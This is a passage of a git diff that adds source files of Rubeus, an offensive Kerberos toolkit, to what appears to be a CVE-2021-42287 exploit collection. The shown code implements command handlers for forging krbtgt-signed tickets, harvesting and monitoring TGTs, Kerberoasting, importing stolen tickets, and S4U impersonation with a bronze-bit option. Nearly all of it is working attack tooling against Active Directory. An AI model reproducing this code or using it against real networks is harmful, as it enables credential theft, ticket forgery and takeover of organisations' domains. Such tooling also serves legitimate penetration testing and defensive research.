Int32.Parse(arguments["/pgid"]); + } + if (arguments.ContainsKey("/displayname")) + { + displayName = arguments["/displayname"]; + } + if (arguments.ContainsKey("/logoncount")) + { + logonCount = short.Parse(arguments["/logoncount"]); + } + if (arguments.ContainsKey("/badpwdcount")) + { + badPwdCount = short.Parse(arguments["/badpwdcount"]); + } + if (arguments.ContainsKey("/lastlogon")) + { + lastLogon = DateTime.Parse(arguments["/lastlogon"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/logofftime")) + { + logoffTime = DateTime.Parse(arguments["/logofftime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/pwdlastset")) + { + pwdLastSet = DateTime.Parse(arguments["/pwdlastset"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/maxpassage")) + { + maxPassAge = Int32.Parse(arguments["/maxpassage"]); + } + if (arguments.ContainsKey("/minpassage")) + { + minPassAge = Int32.Parse(arguments["/minpassage"]); + } + if (arguments.ContainsKey("/homedir")) + { + homeDir = arguments["/homedir"]; + } + if (arguments.ContainsKey("/homedrive")) + { + homeDrive = arguments["/homedrive"]; + } + if (arguments.ContainsKey("/profilepath")) + { + profilePath = arguments["/profilepath"]; + } + if (arguments.ContainsKey("/scriptpath")) + { + scriptPath = arguments["/scriptpath"]; + } + if (arguments.ContainsKey("/resourcegroupsid") && arguments.ContainsKey("/resourcegroups")) + { + resourceGroupSid = arguments["/resourcegroupsid"]; + resourceGroups = new List(); + foreach (string rgroup in arguments["/resourcegroups"].Split(',')) + { + try + { + resourceGroups.Add(int.Parse(rgroup)); + } + catch + { + Console.WriteLine("[!] Resource group value invalid: {0}", rgroup); + } + } + } + if (arguments.ContainsKey("/uac")) + { + Interop.PacUserAccountControl tmp = Interop.PacUserAccountControl.EMPTY; + + foreach (string u in arguments["/uac"].Split(',')) + { + Interop.PacUserAccountControl result; + bool status = Interop.PacUserAccountControl.TryParse(u, out result); + + if (status) + { + tmp |= result; + } + else + { + Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", u); + } + } + if (tmp != Interop.PacUserAccountControl.EMPTY) + { + uac = tmp; + } + } + + // domain and DC information + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/sid")) + { + sid = arguments["/sid"]; + } + if (arguments.ContainsKey("/netbios")) + { + netbios = arguments["/netbios"]; + } + + // getting the user information from LDAP + if (arguments.ContainsKey("/ldap")) + { + ldap = true; + if (arguments.ContainsKey("/creduser")) + { + if (!arguments.ContainsKey("/credpassword")) + { + Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); + return; + } + + ldapuser = arguments["/creduser"]; + ldappassword = arguments["/credpassword"]; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + } + + // encryption types + encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified + if (arguments.ContainsKey("/enctype")) + { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + + if (arguments.ContainsKey("/des")) + { + hash = arguments["/des"]; + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + else if (arguments.ContainsKey("/rc4")) + { + hash = arguments["/rc4"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/ntlm")) + { + hash = arguments["/ntlm"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/aes128")) + { + hash = arguments["/aes128"]; + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (arguments.ContainsKey("/aes256")) + { + hash = arguments["/aes256"]; + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + + // flags + if (arguments.ContainsKey("/flags")) + { + Interop.TicketFlags tmp = Interop.TicketFlags.empty; + + foreach (string flag in arguments["/flags"].Split(',')) + { + Interop.TicketFlags result; + bool status = Interop.TicketFlags.TryParse(flag, out result); + + if (status) + { + tmp |= result; + } + else + { + Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", flag); + } + } + if (tmp != Interop.TicketFlags.empty) + { + flags = tmp; + } + } + + // ticket times + if (arguments.ContainsKey("/starttime")) + { + try + { + startTime = DateTime.Parse(arguments["/starttime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + catch (Exception e) + { + Console.WriteLine("[X] Error unable to parse supplied /starttime {0}: {1}", arguments["/starttime"], e.Message); + return; + } + } + if (arguments.ContainsKey("/authtime")) + { + try + { + authTime = DateTime.Parse(arguments["/authtime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + catch (Exception e) + { + Console.WriteLine("[!] Unable to parse supplied /authtime {0}: {1}", arguments["/authtime"], e.Message); + authTime = startTime; + } + } + else if (arguments.ContainsKey("/starttime")) + { + authTime = startTime; + } + if (arguments.ContainsKey("/rangeend")) + { + rangeEnd = Helpers.FutureDate(startTime, arguments["/rangeend"]); + if (rangeEnd == null) + { + Console.WriteLine("[!] Ignoring invalid /rangeend argument: {0}", arguments["/rangeend"]); + rangeEnd = startTime; + } + } + if (arguments.ContainsKey("/rangeinterval")) + { + rangeInterval = arguments["/rangeinterval"]; + } + if (arguments.ContainsKey("/endtime")) + { + endTime = arguments["/endtime"]; + } + if (arguments.ContainsKey("/renewtill")) + { + renewTill = arguments["/renewtill"]; + } + + if (arguments.ContainsKey("/newpac")) + { + newPac = true; + } + + // actions for the ticket(s) + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + // print a command that could be used to recreate the ticket + // useful if you use LDAP to get the user information, this could be used to avoid touching LDAP again + if (arguments.ContainsKey("/printcmd")) + { + printcmd = true; + } + + // checks + if (String.IsNullOrEmpty(user)) + { + Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); + return; + } + if (String.IsNullOrEmpty(hash)) + { + Console.WriteLine("\r\n[X] You must supply a [/des|/rc4|/aes128|/aes256] hash!\r\n"); + return; + } + + if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) + { + Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n"); + return; + } + else + { + ForgeTickets.ForgeTicket( + user, + String.Format("krbtgt/{0}", domain), + Helpers.StringToByteArray(hash), + encType, + null, + Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, + ldap, + ldapuser, + ldappassword, + sid, + domain, + netbios, + dc, + flags, + startTime, + rangeEnd, + rangeInterval, + authTime, + endTime, + renewTill, + id, + groups, + sids, + displayName, + logonCount, + badPwdCount, + lastLogon, + logoffTime, + pwdLastSet, + maxPassAge, + minPassAge, + pGid, + homeDir, + homeDrive, + profilePath, + scriptPath, + resourceGroupSid, + resourceGroups, + uac, + newPac, + outfile, + ptt, + printcmd + ); + return; + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/HarvestCommand.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/HarvestCommand.cs new file mode 100644 index 0000000..7418847 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/HarvestCommand.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Generic; + + +namespace Rubeus.Commands +{ + public class HarvestCommand : ICommand + { + public static string CommandName => "harvest"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: TGT Harvesting (with auto-renewal)"); + + string targetUser = null; + int monitorInterval = 60; // how often to check for new TGTs + int displayInterval = 1200; // how often to display the working set of TGTs + string registryBasePath = null; + bool nowrap = false; + int runFor = 0; + + if (arguments.ContainsKey("/nowrap")) + { + nowrap = true; + } + if (arguments.ContainsKey("/filteruser")) + { + targetUser = arguments["/filteruser"]; + } + if (arguments.ContainsKey("/targetuser")) + { + targetUser = arguments["/targetuser"]; + } + if (arguments.ContainsKey("/interval")) + { + monitorInterval = Int32.Parse(arguments["/interval"]); + displayInterval = Int32.Parse(arguments["/interval"]); + } + if (arguments.ContainsKey("/monitorinterval")) + { + monitorInterval = Int32.Parse(arguments["/monitorinterval"]); + } + if (arguments.ContainsKey("/displayinterval")) + { + displayInterval = Int32.Parse(arguments["/displayinterval"]); + } + if (arguments.ContainsKey("/registry")) + { + registryBasePath = arguments["/registry"]; + } + if (arguments.ContainsKey("/runfor")) + { + runFor = Int32.Parse(arguments["/runfor"]); + } + + if (!String.IsNullOrEmpty(targetUser)) + { + Console.WriteLine("[*] Target user : {0:x}", targetUser); + } + Console.WriteLine("[*] Monitoring every {0} seconds for new TGTs", monitorInterval); + Console.WriteLine("[*] Displaying the working TGT cache every {0} seconds", displayInterval); + if (runFor > 0) + { + Console.WriteLine("[*] Running collection for {0} seconds", runFor); + } + Console.WriteLine(""); + + var harvester = new Harvest(monitorInterval, displayInterval, true, targetUser, registryBasePath, nowrap, runFor); + harvester.HarvestTicketGrantingTickets(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Hash.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Hash.cs new file mode 100644 index 0000000..a8ec01e --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Hash.cs @@ -0,0 +1,51 @@ +using System; +using System.Collections.Generic; + + +namespace Rubeus.Commands +{ + public class Hash : ICommand + { + public static string CommandName => "hash"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Calculate Password Hash(es)\r\n"); + + string user = ""; + string domain = ""; + string password = ""; + + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + + if (arguments.ContainsKey("/password")) + { + password = arguments["/password"]; + } + else + { + Console.WriteLine("[X] /password:X must be supplied!"); + return; + } + + Crypto.ComputeAllKerberosPasswordHashes(password, user, domain); + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/ICommand.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/ICommand.cs new file mode 100644 index 0000000..baeebf2 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/ICommand.cs @@ -0,0 +1,9 @@ +using System.Collections.Generic; + +namespace Rubeus.Commands +{ + public interface ICommand + { + void Execute(Dictionary arguments); + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Kerberoast.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Kerberoast.cs new file mode 100644 index 0000000..4b9bbc5 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Kerberoast.cs @@ -0,0 +1,241 @@ +using System; +using System.Collections.Generic; +using System.Text.RegularExpressions; +using System.Text; + + +namespace Rubeus.Commands +{ + public class Kerberoast : ICommand + { + public static string CommandName => "kerberoast"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Kerberoasting\r\n"); + + string spn = ""; + List spns = null; + string user = ""; + string OU = ""; + string outFile = ""; + string domain = ""; + string dc = ""; + string ldapFilter = ""; + string supportedEType = "rc4"; + bool useTGTdeleg = false; + bool listUsers = false; + KRB_CRED TGT = null; + string pwdSetAfter = ""; + string pwdSetBefore = ""; + int resultLimit = 0; + int delay = 0; + int jitter = 0; + bool simpleOutput = false; + bool enterprise = false; + bool autoenterprise = false; + bool ldaps = false; + System.Net.NetworkCredential cred = null; + + if (arguments.ContainsKey("/spn")) + { + // roast a specific single SPN + spn = arguments["/spn"]; + } + + if (arguments.ContainsKey("/spns")) + { + spns = new List(); + if (System.IO.File.Exists(arguments["/spns"])) + { + string fileContent = Encoding.UTF8.GetString(System.IO.File.ReadAllBytes(arguments["/spns"])); + foreach (string s in fileContent.Split('\n')) + { + if (!String.IsNullOrEmpty(s)) + { + spns.Add(s.Trim()); + } + } + } + else + { + foreach (string s in arguments["/spns"].Split(',')) + { + spns.Add(s); + } + } + } + if (arguments.ContainsKey("/user")) + { + // roast a specific user (or users, comma-separated + user = arguments["/user"]; + } + if (arguments.ContainsKey("/ou")) + { + // roast users from a specific OU + OU = arguments["/ou"]; + } + if (arguments.ContainsKey("/domain")) + { + // roast users from a specific domain + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + // use a specific domain controller for kerberoasting + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/outfile")) + { + // output kerberoasted hashes to a file instead of to the console + outFile = arguments["/outfile"]; + } + if (arguments.ContainsKey("/simple")) + { + // output kerberoasted hashes to the output file format instead, to the console + simpleOutput = true; + } + if (arguments.ContainsKey("/aes")) + { + // search for users w/ AES encryption enabled and request AES tickets + supportedEType = "aes"; + } + if (arguments.ContainsKey("/rc4opsec")) + { + // search for users without AES encryption enabled roast + supportedEType = "rc4opsec"; + } + if (arguments.ContainsKey("/ticket")) + { + // use an existing TGT ticket when requesting/roasting + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + TGT = new KRB_CRED(kirbiBytes); + } + else if (System.IO.File.Exists(kirbi64)) + { + byte[] kirbiBytes = System.IO.File.ReadAllBytes(kirbi64); + TGT = new KRB_CRED(kirbiBytes); + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + } + + if (arguments.ContainsKey("/usetgtdeleg") || arguments.ContainsKey("/tgtdeleg")) + { + // use the TGT delegation trick to get a delegated TGT to use for roasting + useTGTdeleg = true; + } + + if (arguments.ContainsKey("/pwdsetafter")) + { + // filter for roastable users w/ a pwd set after a specific date + pwdSetAfter = arguments["/pwdsetafter"]; + } + + if (arguments.ContainsKey("/pwdsetbefore")) + { + // filter for roastable users w/ a pwd set before a specific date + pwdSetBefore = arguments["/pwdsetbefore"]; + } + + if (arguments.ContainsKey("/ldapfilter")) + { + // additional LDAP targeting filter + ldapFilter = arguments["/ldapfilter"].Trim('"').Trim('\''); + } + + if (arguments.ContainsKey("/resultlimit")) + { + // limit the number of roastable users + resultLimit = Convert.ToInt32(arguments["/resultlimit"]); + } + + if (arguments.ContainsKey("/delay")) + { + delay = Int32.Parse(arguments["/delay"]); + if(delay < 100) + { + Console.WriteLine("[!] WARNING: delay is in milliseconds! Please enter a value > 100."); + return; + } + } + + if (arguments.ContainsKey("/jitter")) + { + try + { + jitter = Int32.Parse(arguments["/jitter"]); + } + catch { + Console.WriteLine("[X] Jitter must be an integer between 1-100."); + return; + } + if(jitter <= 0 || jitter > 100) + { + Console.WriteLine("[X] Jitter must be between 1-100"); + return; + } + } + + if (arguments.ContainsKey("/stats")) + { + // output stats on the number of kerberoastable users, don't actually roast anything + listUsers = true; + } + + if (arguments.ContainsKey("/enterprise")) + { + // use enterprise principals in the request, requires /spn and (/ticket or /tgtdeleg) + enterprise = true; + } + if (arguments.ContainsKey("/autoenterprise")) + { + // use enterprise principals in the request if roasting with the SPN fails, requires /ticket or /tgtdeleg, does nothing is /spn or /spns is supplied + autoenterprise = true; + } + if (arguments.ContainsKey("/ldaps")) + { + ldaps = true; + } + + if (String.IsNullOrEmpty(domain)) + { + // try to get the current domain + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + + if (arguments.ContainsKey("/creduser")) + { + // provide an alternate user to use for connection creds + if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) + { + Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return; + } + + string[] parts = arguments["/creduser"].Split('\\'); + string domainName = parts[0]; + string userName = parts[1]; + + // provide an alternate password to use for connection creds + if (!arguments.ContainsKey("/credpassword")) + { + Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); + return; + } + + string password = arguments["/credpassword"]; + + cred = new System.Net.NetworkCredential(userName, password, domainName); + } + + Roast.Kerberoast(spn, spns, user, OU, domain, dc, cred, outFile, simpleOutput, TGT, useTGTdeleg, supportedEType, pwdSetAfter, pwdSetBefore, ldapFilter, resultLimit, delay, jitter, listUsers, enterprise, autoenterprise, ldaps); + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Klist.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Klist.cs new file mode 100644 index 0000000..d0615f9 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Klist.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Klist : ICommand + { + public static string CommandName => "klist"; + + public void Execute(Dictionary arguments) + { + if (Helpers.IsHighIntegrity()) + { + Console.WriteLine("\r\nAction: List Kerberos Tickets (All Users)\r\n"); + } + else + { + Console.WriteLine("\r\nAction: List Kerberos Tickets (Current User)\r\n"); + } + + LUID targetLuid = new LUID(); + string targetUser = ""; + string targetService = ""; + string targetServer = ""; + + if (arguments.ContainsKey("/luid")) + { + try + { + targetLuid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/user")) + { + targetUser = arguments["/user"]; + } + + if (arguments.ContainsKey("/service")) + { + targetService = arguments["/service"]; + } + + if (arguments.ContainsKey("/server")) + { + targetServer = arguments["/server"]; + } + + // extract out the tickets (w/ full data) with the specified targeting options + List sessionCreds = LSA.EnumerateTickets(false, targetLuid, targetService, targetUser, targetServer, true); + // display tickets with the "Full" format + LSA.DisplaySessionCreds(sessionCreds, LSA.TicketDisplayFormat.Klist); + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Monitor.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Monitor.cs new file mode 100644 index 0000000..0386a78 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Monitor.cs @@ -0,0 +1,65 @@ +using System; +using System.Collections.Generic; + + +namespace Rubeus.Commands +{ + public class Monitor : ICommand + { + public static string CommandName => "monitor"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: TGT Monitoring"); + + string targetUser = null; + int interval = 60; + string registryBasePath = null; + bool nowrap = false; + int runFor = 0; + + if (arguments.ContainsKey("/nowrap")) + { + nowrap = true; + } + if (arguments.ContainsKey("/filteruser")) + { + targetUser = arguments["/filteruser"]; + } + if (arguments.ContainsKey("/targetuser")) + { + targetUser = arguments["/targetuser"]; + } + if (arguments.ContainsKey("/monitorinterval")) + { + interval = Int32.Parse(arguments["/monitorinterval"]); + } + if (arguments.ContainsKey("/interval")) + { + interval = Int32.Parse(arguments["/interval"]); + } + if (arguments.ContainsKey("/registry")) + { + registryBasePath = arguments["/registry"]; + } + if (arguments.ContainsKey("/runfor")) + { + runFor = Int32.Parse(arguments["/runfor"]); + } + + if (!String.IsNullOrEmpty(targetUser)) + { + Console.WriteLine("[*] Target user : {0:x}", targetUser); + } + Console.WriteLine("[*] Monitoring every {0} seconds for new TGTs", interval); + if (runFor > 0) + { + Console.WriteLine("[*] Running collection for {0} seconds", runFor); + } + Console.WriteLine(""); + + var harvester = new Harvest(interval, interval, false, targetUser, registryBasePath, nowrap, runFor); + harvester.HarvestTicketGrantingTickets(); + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Ptt.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Ptt.cs new file mode 100644 index 0000000..4735e5c --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Ptt.cs @@ -0,0 +1,59 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Ptt : ICommand + { + public static string CommandName => "ptt"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Import Ticket"); + + LUID luid = new LUID(); + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + LSA.ImportTicket(kirbiBytes, luid); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + LSA.ImportTicket(kirbiBytes, luid); + } + else + { + Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Purge.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Purge.cs new file mode 100644 index 0000000..33f4bce --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Purge.cs @@ -0,0 +1,36 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Purge : ICommand + { + public static string CommandName => "purge"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Purge Tickets"); + + LUID luid = new LUID(); + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + Console.WriteLine("Luid: {0}", luid); + + LSA.Purge(luid); + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/RenewCommand.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/RenewCommand.cs new file mode 100644 index 0000000..552c952 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/RenewCommand.cs @@ -0,0 +1,77 @@ +using System; +using System.Collections.Generic; +using System.IO; + + +namespace Rubeus.Commands +{ + public class RenewCommand : ICommand + { + public static string CommandName => "renew"; + + public void Execute(Dictionary arguments) + { + string outfile = ""; + bool ptt = false; + string dc = ""; + + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + byte[] kirbiBytes = null; + + if (Helpers.IsBase64String(kirbi64)) + { + kirbiBytes = Convert.FromBase64String(kirbi64); + } + else if (File.Exists(kirbi64)) + { + kirbiBytes = File.ReadAllBytes(kirbi64); + } + + if(kirbiBytes == null) + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + else + { + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + if (arguments.ContainsKey("/autorenew")) + { + Console.WriteLine("[*] Action: Auto-Renew Ticket\r\n"); + // if we want to auto-renew the TGT up until the renewal limit + Renew.TGTAutoRenew(kirbi, dc); + } + else + { + Console.WriteLine("[*] Action: Renew Ticket\r\n"); + // otherwise a single renew operation + byte[] blah = Renew.TGT(kirbi, outfile, ptt, dc); + } + } + + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/S4u.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/S4u.cs new file mode 100644 index 0000000..cc3e32d --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/S4u.cs @@ -0,0 +1,208 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace Rubeus.Commands +{ + public class S4u : ICommand + { + public static string CommandName => "s4u"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: S4U\r\n"); + + string targetUser = ""; + string targetSPN = ""; + string altSname = ""; + string user = ""; + string domain = ""; + string hash = ""; + string outfile = ""; + bool ptt = false; + string dc = ""; + string targetDomain = ""; + string targetDC = ""; + string impersonateDomain = ""; + bool self = false; + bool opsec = false; + bool bronzebit = false; + bool pac = true; + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid + KRB_CRED tgs = null; + + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/rc4")) + { + hash = arguments["/rc4"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + if (arguments.ContainsKey("/aes256")) + { + hash = arguments["/aes256"]; + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + if (arguments.ContainsKey("/impersonateuser")) + { + if (arguments.ContainsKey("/tgs")) + { + Console.WriteLine("\r\n[X] You must supply either a /impersonateuser or a /tgs, but not both.\r\n"); + return; + } + targetUser = arguments["/impersonateuser"]; + } + if (arguments.ContainsKey("/impersonatedomain")) + { + impersonateDomain = arguments["/impersonatedomain"]; + } + if (arguments.ContainsKey("/targetdomain")) + { + targetDomain = arguments["/targetdomain"]; + } + if (arguments.ContainsKey("/targetdc")) + { + targetDC = arguments["/targetdc"]; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + if (arguments.ContainsKey("/msdsspn")) + { + targetSPN = arguments["/msdsspn"]; + } + + if (arguments.ContainsKey("/altservice")) + { + altSname = arguments["/altservice"]; + } + + if (arguments.ContainsKey("/self")) + { + self = true; + } + + if (arguments.ContainsKey("/opsec")) + { + opsec = true; + } + + if (arguments.ContainsKey("/bronzebit")) + { + bronzebit = true; + } + if (arguments.ContainsKey("/nopac")) + { + pac = false; + } + + if (arguments.ContainsKey("/tgs")) + { + string kirbi64 = arguments["/tgs"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + tgs = new KRB_CRED(kirbiBytes); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + tgs = new KRB_CRED(kirbiBytes); + } + else + { + Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + return; + } + + targetUser = tgs.enc_part.ticket_info[0].pname.name_string[0]; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; + } + if (String.IsNullOrEmpty(targetUser) && tgs == null) + { + Console.WriteLine("\r\n[X] You must supply a /tgs to impersonate!\r\n"); + Console.WriteLine("[X] Alternatively, supply a /impersonateuser to perform S4U2Self first.\r\n"); + return; + } + if (String.IsNullOrEmpty(targetSPN) && tgs != null) + { + Console.WriteLine("\r\n[X] If a /tgs is supplied, you must also supply a /msdsspn !\r\n"); + return; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain); + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else if 